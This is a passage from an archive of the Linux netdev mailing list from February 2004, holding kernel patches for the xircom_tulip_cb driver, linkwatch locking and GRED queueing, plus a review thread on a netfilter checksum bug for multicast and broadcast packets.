Sun Feb 15 11:09:42 2004 @@ -110,7 +110,7 @@ unsigned long qave=0; int i=0; - if (!t->initd && skb_queue_len(&sch->q) < sch->dev->tx_queue_len) { + if (!t->initd && skb_queue_len(&sch->q) < (sch->dev->tx_queue_len || 1)) { D2PRINTK("NO GRED Queues setup yet! Enqueued anyway\n"); goto do_enqueue; } --------------030704030600030003030207-- From jmorris@redhat.com Sun Feb 15 06:03:20 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 15 Feb 2004 06:03:23 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1FE3KKO015484 for ; Sun, 15 Feb 2004 06:03:20 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1FE3Fb02799; Sun, 15 Feb 2004 09:03:15 -0500 Received: from mail.boston.redhat.com (mail.boston.redhat.com [172.16.64.12]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1FE3Ei12642; Sun, 15 Feb 2004 09:03:14 -0500 Received: from thoron.boston.redhat.com (thoron.boston.redhat.com [172.16.65.238]) by mail.boston.redhat.com (8.12.8/8.12.8) with ESMTP id i1FE3E03021221; Sun, 15 Feb 2004 09:03:14 -0500 Date: Sun, 15 Feb 2004 09:03:20 -0500 (EST) From: James Morris X-X-Sender: jmorris@thoron.boston.redhat.com To: =?ISO-8859-1?Q?Mika_Penttil=E4?= cc: "David S. Miller" , Harald Welte , , Stephen Smalley Subject: Re: [PATCH] Fix checksum bug for multicast/broadcast packets on postrouting hook In-Reply-To: <402F76C2.6030300@kolumbus.fi> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=ISO-8859-1 X-MIME-Autoconverted: from 8bit to quoted-printable by mx1.redhat.com id i1FE3Fb02799 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i1FE3KKO015484 X-archive-position: 3311 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jmorris@redhat.com Precedence: bulk X-list: netdev On Sun, 15 Feb 2004, Mika Penttilä wrote: > skb_checksum_help() updates skb->ip_summed to CHECKSUM_NONE in the > original skb, and this should be seen by the driver. With your change > the checksum is calculated twice, once for the looping back packet, and > once for the outgoing. [Looks like my posts are not making it to netdev] It updates ip_summed in the cloned packet header, but not in the original packet, which gets sent to the driver with an already completed checksum. See the original post. - James -- James Morris From srompf@isg.de Sun Feb 15 06:12:06 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 15 Feb 2004 06:12:10 -0800 (PST) Received: from mail.isg.de (rzfoobar.is-asp.com [217.11.194.155]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1FEC3KO015959 for ; Sun, 15 Feb 2004 06:12:05 -0800 Received: from 192.168.0.9 (pD9EA6B51.dip.t-dialin.net [217.234.107.81]) by mail.isg.de (Postfix) with ESMTP id 96EBA170DC28; Sun, 15 Feb 2004 15:11:56 +0100 (CET) From: Stefan Rompf To: netdev@oss.sgi.com Subject: Patch: working suspend/resume for xircom_tulip_cb Date: Sun, 15 Feb 2004 15:02:58 +0100 User-Agent: KMail/1.6.1 Cc: jgarzik@pobox.com, ionut@cs.columbia.edu MIME-Version: 1.0 Content-Disposition: inline Content-Type: Multipart/Mixed; boundary="Boundary-00=_Tw3LAvXFPKchaLa" Message-Id: <200402151502.59735.srompf@isg.de> X-archive-position: 3314 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: srompf@isg.de Precedence: bulk X-list: netdev --Boundary-00=_Tw3LAvXFPKchaLa Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Hi, attached is a patch against 2.6.3rc2 that fixes suspend/resume for the ethernet device of my Xircom RBEM56G-100 pc card. Previously, the driver did not survive the resume operation. I still have problems when I remove the card during suspend, but that yields to a different code path. I could check with one laptop and one card, so the patch might need broader testing, but it works nicely in my configuration. Please apply if it looks ok. Stefan --Boundary-00=_Tw3LAvXFPKchaLa Content-Type: text/x-diff; charset="us-ascii"; name="xircom_tulip_cb_pm.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="xircom_tulip_cb_pm.diff" --- drivers/net/tulip/xircom_tulip_cb.c.old 2004-02-14 14:33:03.000000000 +0100 +++ drivers/net/tulip/xircom_tulip_cb.c 2004-02-15 13:07:49.000000000 +0100 @@ -329,6 +329,9 @@ struct xircom_private { int saved_if_port; struct pci_dev *pdev; spinlock_t lock; +#ifdef CONFIG_PM + u32 pci_state[16]; +#endif }; static int mdio_read(struct net_device *dev, int phy_id, int location); @@ -749,6 +752,7 @@ xircom_up(struct net_device *dev) long ioaddr = dev->base_addr; int i; + xircom_init_ring(dev); /* Clear the tx ring */ for (i = 0; i < TX_RING_SIZE; i++) { tp->tx_skbuff[i] = 0; @@ -801,8 +805,6 @@ xircom_open(struct net_device *dev) if (request_irq(dev->irq, &xircom_interrupt, SA_SHIRQ, dev->name, dev)) return -EAGAIN; - xircom_init_ring(dev); - xircom_up(dev); tp->open = 1; @@ -1668,6 +1670,11 @@ static int xircom_suspend(struct pci_dev printk(KERN_INFO "xircom_suspend(%s)\n", dev->name); if (tp->open) xircom_down(dev); + + pci_save_state(pdev, tp->pci_state); + pci_disable_device(pdev); + pci_set_power_state(pdev, 3); + return 0; } @@ -1678,6 +1685,10 @@ static int xircom_resume(struct pci_dev struct xircom_private *tp = dev->priv; printk(KERN_INFO "xircom_resume(%s)\n", dev->name); + pci_set_power_state(pdev,0); + pci_enable_device(pdev); + pci_restore_state(pdev, tp->pci_state); + /* Bring the chip out of sleep mode. Caution: Snooze mode does not work with some boards! */ if (xircom_tbl[tp->chip_id].flags & HAS_ACPI) --Boundary-00=_Tw3LAvXFPKchaLa-- From srompf@isg.de Sun Feb 15 06:12:06 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 15 Feb 2004 06:12:10 -0800 (PST) Received: from mail.isg.de (rzfoobar.is-asp.com [217.11.194.155]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1FEC3KO015960 for ; Sun, 15 Feb 2004 06:12:05 -0800 Received: from 192.168.0.9 (pD9EA6B51.dip.t-dialin.net [217.234.107.81]) by mail.isg.de (Postfix) with ESMTP id 8F1F6170DC29; Sun, 15 Feb 2004 15:11:57 +0100 (CET) From: Stefan Rompf To: netdev@oss.sgi.com Subject: Patch: netif_carrier_on()/off() for xircom_tulip_cb Date: Sun, 15 Feb 2004 15:04:21 +0100 User-Agent: KMail/1.6.1 Cc: jgarzik@pobox.com, ionut@cs.columbia.edu MIME-Version: 1.0 Content-Disposition: inline Content-Type: Multipart/Mixed; boundary="Boundary-00=_mx3LA9SAPGssQL/" Message-Id: <200402151504.22648.srompf@isg.de> X-archive-position: 3313 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: srompf@isg.de Precedence: bulk X-list: netdev --Boundary-00=_mx3LA9SAPGssQL/ Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Hi, the attached patch against 2.6.3rc2 enables link state notification for xircom_tulip_cb. Tested together with my suspend/resume patch, but should be independant. Please apply if it looks ok. Stefan --Boundary-00=_mx3LA9SAPGssQL/ Content-Type: text/x-diff; charset="us-ascii"; name="xircom_tulip_cb_lw.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="xircom_tulip_cb_lw.diff" --- drivers/net/tulip/xircom_tulip_cb.c.pm 2004-02-15 13:07:49.000000000 +0100 +++ drivers/net/tulip/xircom_tulip_cb.c 2004-02-15 13:58:06.000000000 +0100 @@ -343,6 +343,7 @@ static void xircom_tx_timeout(struct net static void xircom_init_ring(struct net_device *dev); static int xircom_start_xmit(struct sk_buff *skb, struct net_device *dev); static int xircom_rx(struct net_device *dev); +static void xircom_media_change(struct net_device *dev); static irqreturn_t xircom_interrupt(int irq, void *dev_instance, struct pt_regs *regs); static int xircom_close(struct net_device *dev); static struct net_device_stats *xircom_get_stats(struct net_device *dev); @@ -789,6 +790,9 @@ xircom_up(struct net_device *dev) /* Tell the net layer we're ready */ netif_start_queue (dev); + /* Check current media state */ + xircom_media_change(dev); + if (xircom_debug > 2) { printk(KERN_DEBUG "%s: Done xircom_up(), CSR0 %8.8x, CSR5 %8.8x CSR6 %8.8x.\n", dev->name, inl(ioaddr + CSR0), inl(ioaddr + CSR5), @@ -1013,6 +1017,7 @@ static void xircom_media_change(struct n dev->name, tp->speed100 ? "100" : "10", tp->full_duplex ? "full" : "half"); + netif_carrier_on(dev); newcsr6 = csr6 & ~FullDuplexBit; if (tp->full_duplex) newcsr6 |= FullDuplexBit; @@ -1020,6 +1025,7 @@ static void xircom_media_change(struct n outl_CSR6(newcsr6, ioaddr + CSR6); } else { printk(KERN_DEBUG "%s: Link is down\n", dev->name); + netif_carrier_off(dev); } } --Boundary-00=_mx3LA9SAPGssQL/-- From srompf@isg.de Sun Feb 15 06:12:06 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 15 Feb 2004 06:12:10 -0800 (PST) Received: from mail.isg.de (rzfoobar.is-asp.com [217.11.194.155]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1FEC3KO015961 for ; Sun, 15 Feb 2004 06:12:05 -0800 Received: from 192.168.0.9 (pD9EA6B51.dip.t-dialin.net [217.234.107.81]) by mail.isg.de (Postfix) with ESMTP id EA5A5170DC2A; Sun, 15 Feb 2004 15:11:57 +0100 (CET) From: Stefan Rompf To: netdev@oss.sgi.com Subject: Patch: Make linkwatch more robust against rtnl holders Date: Sun, 15 Feb 2004 15:11:47 +0100 User-Agent: KMail/1.6.1 Cc: davem@redhat.com MIME-Version: 1.0 Content-Disposition: inline Content-Type: Multipart/Mixed; boundary="Boundary-00=_l43LAPCXzGeOIJ6" Message-Id: <200402151511.49432.srompf@isg.de> X-archive-position: 3312 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: srompf@isg.de Precedence: bulk X-list: netdev --Boundary-00=_l43LAPCXzGeOIJ6 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Hi David, the attached patch updates the linkwatch code so that it backs off and retries whenever it cannot get the rtnl semaphore. This makes it more robust against unrelated processes calling flush_scheduled_work() while holding the rtnl lock. This problem was reported on netdev for the sungem driver. I preferred rescheduling every 1/10 second against creating a kernel thread as the code is shorter, and the situation should not happen anyway. Stefan --Boundary-00=_l43LAPCXzGeOIJ6 Content-Type: text/x-diff; charset="us-ascii"; name="patch-linkwatch-2.6.1" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="patch-linkwatch-2.6.1" --- net/core/link_watch.c.old 2003-12-26 20:38:25.000000000 +0100 +++ net/core/link_watch.c 2004-01-30 20:07:57.000000000 +0100 @@ -84,6 +84,8 @@ static void linkwatch_event(void *dummy) { + if (rtnl_shlock_nowait()) goto out_err1; + if (rtnl_exlock_nowait()) goto out_err2; /* Limit the number of linkwatch events to one * per second so that a runaway driver does not * cause a storm of messages on the netlink @@ -92,11 +94,16 @@ linkwatch_nextevent = jiffies + HZ; clear_bit(LW_RUNNING, &linkwatch_flags); - rtnl_shlock(); - rtnl_exlock(); linkwatch_run_queue(); rtnl_exunlock(); rtnl_shunlock(); + + return; + +out_err2: + rtnl_shunlock(); +out_err1: + schedule_delayed_work(&linkwatch_work, HZ / 10); } --Boundary-00=_l43LAPCXzGeOIJ6-- From jmorris@redhat.com Sun Feb 15 08:23:02 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 15 Feb 2004 08:23:08 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1FGN1KO021251 for ; Sun, 15 Feb 2004 08:23:02 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1FD3ob22261; Sun, 15 Feb 2004 08:03:50 -0500 Received: from mail.boston.redhat.com (mail.boston.redhat.com [172.16.64.12]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1FD3ni02288; Sun, 15 Feb 2004 08:03:49 -0500 Received: from thoron.boston.redhat.com (thoron.boston.redhat.com [172.16.65.238]) by mail.boston.redhat.com (8.12.8/8.12.8) with ESMTP id i1FD3m03019101; Sun, 15 Feb 2004 08:03:48 -0500 Date: Sun, 15 Feb 2004 08:03:54 -0500 (EST) From: James Morris X-X-Sender: jmorris@thoron.boston.redhat.com To: =?ISO-8859-1?Q?Mika_Penttil=E4?= cc: "David S. Miller" , Harald Welte , , Stephen Smalley Subject: Re: [PATCH] Fix checksum bug for multicast/broadcast packets on postrouting hook In-Reply-To: <402F3D1E.2020005@kolumbus.fi> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=ISO-8859-1 X-MIME-Autoconverted: from 8bit to quoted-printable by mx1.redhat.com id i1FD3ob22261 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i1FGN1KO021251 X-archive-position: 3315 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jmorris@redhat.com Precedence: bulk X-list: netdev On Sun, 15 Feb 2004, Mika Penttilä wrote: > James Morris wrote: > > >On Sat, 14 Feb 2004, Mika Penttilä wrote: > >>> > >>This is unneeded overhead for the common case. The right fix is to make > >>sure the modifier (netfilter etc) makes the copy if needed. Actually, > >>this is what skb_ip_make_writable() is doing. > >> > >> > > > >The common case here will be only for locally generated multicast and > >broadcast packets. > > > >If the netfilter core code is modified instead, we will end up adding > >skb_ip_make_writable() to nf_hook_slow() which will be called for every > >packet with an output device which uses hardware checksums. > > > >Not sure which is worse, but here's a proposed patch which does this. > > > > > >- James > > > > I don't see the context here. Where is the packet mangled? Why isn't > that instance doing skb_ip_make_writable()? selinux? Not everyone > generating locally multicast/broadcast packets is using selinux... > [my previous post didn't seem to make it to the list, newer patch is attached below again] The packet is mangled in skb_checksum_help(), which is called by the Netfilter core code. It is not being mangled by SELinux. - James -- James Morris diff -urN -X dontdiff linux-2.6.3-rc2-mm1.o/include/linux/netfilter.h linux-2.6.3-rc2-mm1.w2/include/linux/netfilter.h --- linux-2.6.3-rc2-mm1.o/include/linux/netfilter.h 2004-02-03 22:43:48.000000000 -0500 +++ linux-2.6.3-rc2-mm1.w2/include/linux/netfilter.h 2004-02-15 00:16:30.000000000 -0500 @@ -162,6 +162,12 @@ /* FIXME: Before cache is ever used, this must be implemented for real. */ extern void nf_invalidate_cache(int pf); +/* Call this before modifying an existing IP packet: ensures it is + modifiable and linear to the point you care about (writable_len). + Returns true or false. */ +extern int skb_ip_make_writable(struct sk_buff **pskb, + unsigned int writable_len); + #else /* !CONFIG_NETFILTER */ #define NF_HOOK(pf, hook, skb, indev, outdev, okfn) (okfn)(skb) #endif /*CONFIG_NETFILTER*/ diff -urN -X dontdiff linux-2.6.3-rc2-mm1.o/include/linux/netfilter_ipv4.h linux-2.6.3-rc2-mm1.w2/include/linux/netfilter_ipv4.h --- linux-2.6.3-rc2-mm1.o/include/linux/netfilter_ipv4.h 2004-02-03 22:44:26.000000000 -0500 +++ linux-2.6.3-rc2-mm1.w2/include/linux/netfilter_ipv4.h 2004-02-15 00:16:13.000000000 -0500 @@ -78,11 +78,6 @@ extern int ip_route_me_harder(struct sk_buff **pskb); -/* Call this before modifying an existing IP packet: ensures it is - modifiable and linear to the point you care about (writable_len). - Returns true or false. */ -extern int skb_ip_make_writable(struct sk_buff **pskb, - unsigned int writable_len); #endif /*__KERNEL__*/ #endif /*__LINUX_IP_NETFILTER_H*/ diff -urN -X dontdiff linux-2.6.3-rc2-mm1.o/net/core/netfilter.c linux-2.6.3-rc2-mm1.w2/net/core/netfilter.c --- linux-2.6.3-rc2-mm1.o/net/core/netfilter.c 2004-02-03 22:43:46.000000000 -0500 +++ linux-2.6.3-rc2-mm1.w2/net/core/netfilter.c 2004-02-15 00:57:05.000000000 -0500 @@ -509,6 +509,13 @@ if (outdev == NULL) { skb->ip_summed = CHECKSUM_NONE; } else { + int wlen = skb->h.raw - skb->data + skb->csum; + + /* packet is about to be modified */ + if (!skb_ip_make_writable(&skb, wlen)) { + kfree(skb); + return -ENOMEM; + } skb_checksum_help(skb); } } From jmorris@redhat.com Sun Feb 15 08:27:18 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 15 Feb 2004 08:27:22 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1FGRHKO021621 for ; Sun, 15 Feb 2004 08:27:17 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1F69Kb07472; Sun, 15 Feb 2004 01:09:20 -0500 Received: from mail.boston.redhat.com (mail.boston.redhat.com [172.16.64.12]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1F69Ii29846; Sun, 15 Feb 2004 01:09:19 -0500 Received: from thoron.boston.redhat.com (thoron.boston.redhat.com [172.16.65.238]) by mail.boston.redhat.com (8.12.8/8.12.8) with ESMTP id i1F69H03001555; Sun, 15 Feb 2004 01:09:18 -0500 Date: Sun, 15 Feb 2004 01:09:23 -0500 (EST) From: James Morris X-X-Sender: jmorris@thoron.boston.redhat.com To: =?ISO-8859-1?Q?Mika_Penttil=E4?= cc: "David S. Miller" , Harald Welte , , Stephen Smalley Subject: Re: [PATCH] Fix checksum bug for multicast/broadcast packets on postrouting hook In-Reply-To: <402E71E2.1040508@kolumbus.fi> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=ISO-8859-1 X-MIME-Autoconverted: from 8bit to quoted-printable by mx1.redhat.com id i1F69Kb07472 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i1FGRHKO021621 X-archive-position: 3316 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jmorris@redhat.com Precedence: bulk X-list: netdev On Sat, 14 Feb 2004, Mika Penttilä wrote: > James Morris wrote: > > >The proposed solution below is to copy the skb rather than clone it, to > >ensure that the original and looped back packets are independent. > > > > This is unneeded overhead for the common case. The right fix is to make > sure the modifier (netfilter etc) makes the copy if needed. Actually, > this is what skb_ip_make_writable() is doing. The common case here will be only for locally generated multicast and broadcast packets. If the netfilter core code is modified instead, we will end up adding skb_ip_make_writable() to nf_hook_slow() which will be called for every packet with an output device which uses hardware checksums. Not sure which is worse, but here's a proposed patch which does this. - James -- James Morris diff -urN -X dontdiff linux-2.6.3-rc2-mm1.o/include/linux/netfilter.h linux-2.6.3-rc2-mm1.w2/include/linux/netfilter.h --- linux-2.6.3-rc2-mm1.o/include/linux/netfilter.h 2004-02-03 22:43:48.000000000 -0500 +++ linux-2.6.3-rc2-mm1.w2/include/linux/netfilter.h 2004-02-15 00:16:30.000000000 -0500 @@ -162,6 +162,12 @@ /* FIXME: Before cache is ever used, this must be implemented for real. */ extern void nf_invalidate_cache(int pf); +/* Call this before modifying an existing IP packet: ensures it is + modifiable and linear to the point you care about (writable_len). + Returns true or false. */ +extern int skb_ip_make_writable(struct sk_buff **pskb, + unsigned int writable_len); + #else /* !CONFIG_NETFILTER */ #define NF_HOOK(pf, hook, skb, indev, outdev, okfn) (okfn)(skb) #endif /*CONFIG_NETFILTER*/ diff -urN -X dontdiff linux-2.6.3-rc2-mm1.o/include/linux/netfilter_ipv4.h linux-2.6.3-rc2-mm1.w2/include/linux/netfilter_ipv4.h --- linux-2.6.3-rc2-mm1.o/include/linux/netfilter_ipv4.h 2004-02-03 22:44:26.000000000 -0500 +++ linux-2.6.3-rc2-mm1.w2/include/linux/netfilter_ipv4.h 2004-02-15 00:16:13.000000000 -0500 @@ -78,11 +78,6 @@ extern int ip_route_me_harder(struct sk_buff **pskb); -/* Call this before modifying an existing IP packet: ensures it is - modifiable and linear to the point you care about (writable_len). - Returns true or false. */ -extern int skb_ip_make_writable(struct sk_buff **pskb, - unsigned int writable_len); #endif /*__KERNEL__*/ #endif /*__LINUX_IP_NETFILTER_H*/ diff -urN -X dontdiff linux-2.6.3-rc2-mm1.o/net/core/netfilter.c linux-2.6.3-rc2-mm1.w2/net/core/netfilter.c --- linux-2.6.3-rc2-mm1.o/net/core/netfilter.c 2004-02-03 22:43:46.000000000 -0500 +++ linux-2.6.3-rc2-mm1.w2/net/core/netfilter.c 2004-02-15 00:57:05.000000000 -0500 @@ -509,6 +509,13 @@ if (outdev == NULL) { skb->ip_summed = CHECKSUM_NONE; } else { + int wlen = skb->h.raw - skb->data + skb->csum; + + /* packet is about to be modified */ + if (!skb_ip_make_writable(&skb, wlen)) { + kfree(skb); + return -ENOMEM; + } skb_checksum_help(skb); } } From mika.penttila@kolumbus.fi Sun Feb 15 14:18:38 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 15 Feb 2004 14:18:47 -0800 (PST) Received: from notes.hallinto.turkuamk.fi (notes.hallinto.turkuamk.fi [195.148.215.149]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1FMIaKO028195 for ; Sun, 15 Feb 2004 14:18:37 -0800 Received: from kolumbus.fi ([193.166.244.70]) by marconi.hallinto.turkuamk.fi (Lotus Domino Release 5.0.8) with ESMTP id 2004021517582344:6813 ; Sun, 15 Feb 2004 17:58:23 +0200 Message-ID: <402F97B4.4010107@kolumbus.fi> Date: Sun, 15 Feb 2004 18:00:52 +0200 From: =?ISO-8859-1?Q?Mika_Penttil=E4?= User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 X-Accept-Language: en-us, en MIME-Version: 1.0 To: James Morris CC: "David S. Miller" , Harald Welte , netdev@oss.sgi.com, Stephen Smalley Subject: Re: [PATCH] Fix checksum bug for multicast/broadcast packets on postrouting hook References: In-Reply-To: X-MIMETrack: Itemize by SMTP Server on marconi.hallinto.turkuamk.fi/TAMK(Release 5.0.8 |June 18, 2001) at 15.02.2004 17:58:23, Serialize by Router on notes.hallinto.turkuamk.fi/TAMK(Release 5.0.10 |March 22, 2002) at 16.02.2004 00:19:59, Serialize complete at 16.02.2004 00:19:59 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i1FMIaKO028195 X-archive-position: 3317 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mika.penttila@kolumbus.fi Precedence: bulk X-list: netdev James Morris wrote: >On Sun, 15 Feb 2004, Mika Penttilä wrote: > > > >>skb_checksum_help() updates skb->ip_summed to CHECKSUM_NONE in the >>original skb, and this should be seen by the driver. With your change >>the checksum is calculated twice, once for the looping back packet, and >>once for the outgoing. >> >> > >[Looks like my posts are not making it to netdev] > >It updates ip_summed in the cloned packet header, but not in the original >packet, which gets sent to the driver with an already completed checksum. > >See the original post. > > >- James > ah, sorry, I see your point now. Maybe this copy should be in skb_checksum_help() ? --Mika From jmorris@redhat.com Sun Feb 15 17:50:07 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 15 Feb 2004 17:50:13 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1G1o6KO000714 for ; Sun, 15 Feb 2004 17:50:07 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1G1nwb05125; Sun, 15 Feb 2004 20:49:58 -0500 Received: from mail.boston.redhat.com (mail.boston.redhat.com [172.16.64.12]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1G1nwi23649; Sun, 15 Feb 2004 20:49:58 -0500 Received: from thoron.boston.redhat.com (thoron.boston.redhat.com [172.16.65.238]) by mail.boston.redhat.com (8.12.8/8.12.8) with ESMTP id i1G1nv03016078; Sun, 15 Feb 2004 20:49:57 -0500 Date: Sun, 15 Feb 2004 20:50:04 -0500 (EST) From: James Morris X-X-Sender: jmorris@thoron.boston.redhat.com To: =?ISO-8859-1?Q?Mika_Penttil=E4?= cc: "David S. Miller" , Harald Welte , , Stephen Smalley Subject: Re: [PATCH] Fix checksum bug for multicast/broadcast packets on postrouting hook In-Reply-To: <402F97B4.4010107@kolumbus.fi> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=ISO-8859-1 X-MIME-Autoconverted: from 8bit to quoted-printable by mx1.redhat.com id i1G1nwb05125 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i1G1o6KO000714 X-archive-position: 3318 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jmorris@redhat.com Precedence: bulk X-list: netdev On Sun, 15 Feb 2004, Mika Penttilä wrote: > ah, sorry, I see your point now. Maybe this copy should be in > skb_checksum_help() ? No, it's not needed by all callers, and is just a does-one-thing helper function. - James -- James Morris From mika.penttila@kolumbus.fi Sun Feb 15 18:16:10 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 15 Feb 2004 18:16:24 -0800 (PST) Received: from notes.hallinto.turkuamk.fi (notes.hallinto.turkuamk.fi [195.148.215.149]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1G2G9KO001252 for ; Sun, 15 Feb 2004 18:16:10 -0800 Received: from kolumbus.fi ([193.166.244.70]) by marconi.hallinto.turkuamk.fi (Lotus Domino Release 5.0.8) with ESMTP id 2004021515375929:6737 ; Sun, 15 Feb 2004 15:37:59 +0200 Message-ID: <402F76C2.6030300@kolumbus.fi> Date: Sun, 15 Feb 2004 15:40:18 +0200 From: =?ISO-8859-1?Q?Mika_Penttil=E4?= User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 X-Accept-Language: en-us, en MIME-Version: 1.0 To: James Morris CC: "David S. Miller" , Harald Welte , netdev@oss.sgi.com, Stephen Smalley Subject: Re: [PATCH] Fix checksum bug for multicast/broadcast packets on postrouting hook References: In-Reply-To: X-MIMETrack: Itemize by SMTP Server on marconi.hallinto.turkuamk.fi/TAMK(Release 5.0.8 |June 18, 2001) at 15.02.2004 15:38:00, Serialize by Router on notes.hallinto.turkuamk.fi/TAMK(Release 5.0.10 |March 22, 2002) at 16.02.2004 04:17:32, Serialize complete at 16.02.2004 04:17:32 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i1G2G9KO001252 X-archive-position: 3319 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mika.penttila@kolumbus.fi Precedence: bulk X-list: netdev James Morris wrote: >On Sun, 15 Feb 2004, Mika Penttilä wrote: > > > >>James Morris wrote: >> >> >> >>>On Sat, 14 Feb 2004, Mika Penttilä wrote: >>> >>> >>>>This is unneeded overhead for the common case. The right fix is to make >>>>sure the modifier (netfilter etc) makes the copy if needed. Actually, >>>>this is what skb_ip_make_writable() is doing. >>>> >>>> >>>> >>>> >>>The common case here will be only for locally generated multicast and >>>broadcast packets. >>> >>>If the netfilter core code is modified instead, we will end up adding >>>skb_ip_make_writable() to nf_hook_slow() which will be called for every >>>packet with an output device which uses hardware checksums. >>> >>>Not sure which is worse, but here's a proposed patch which does this. >>> >>> >>>- James >>> >>> >>> >>I don't see the context here. Where is the packet mangled? Why isn't >>that instance doing skb_ip_make_writable()? selinux? Not everyone >>generating locally multicast/broadcast packets is using selinux... >> >> >> > >[my previous post didn't seem to make it to the list, newer patch is >attached below again] > >The packet is mangled in skb_checksum_help(), which is called by the >Netfilter core code. It is not being mangled by SELinux. > > >- James > skb_checksum_help() updates skb->ip_summed to CHECKSUM_NONE in the original skb, and this should be seen by the driver. With your change the checksum is calculated twice, once for the looping back packet, and once for the outgoing. --Mika From greearb@candelatech.com Sun Feb 15 20:32:12 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 15 Feb 2004 20:32:25 -0800 (PST) Received: from ns1.wanfear.com (ns1.wanfear.com [207.212.57.1]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1G4WCKO008270 for ; Sun, 15 Feb 2004 20:32:12 -0800 Received: from candelatech.com (evrtwa1-ar2-4-35-049-074.evrtwa1.dsl-verizon.net [4.35.49.74]) (authenticated bits=0) by ns1.wanfear.com (8.12.10/8.12.8) with ESMTP id i1G4W99v018126; Sun, 15 Feb 2004 20:32:10 -0800 Message-ID: <403047C9.8020908@candelatech.com> Date: Sun, 15 Feb 2004 20:32:09 -0800 From: Ben Greear Organization: Candela Technologies User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040113 X-Accept-Language: en-us, en MIME-Version: 1.0 To: satya srikanth CC: Cheng Jin , 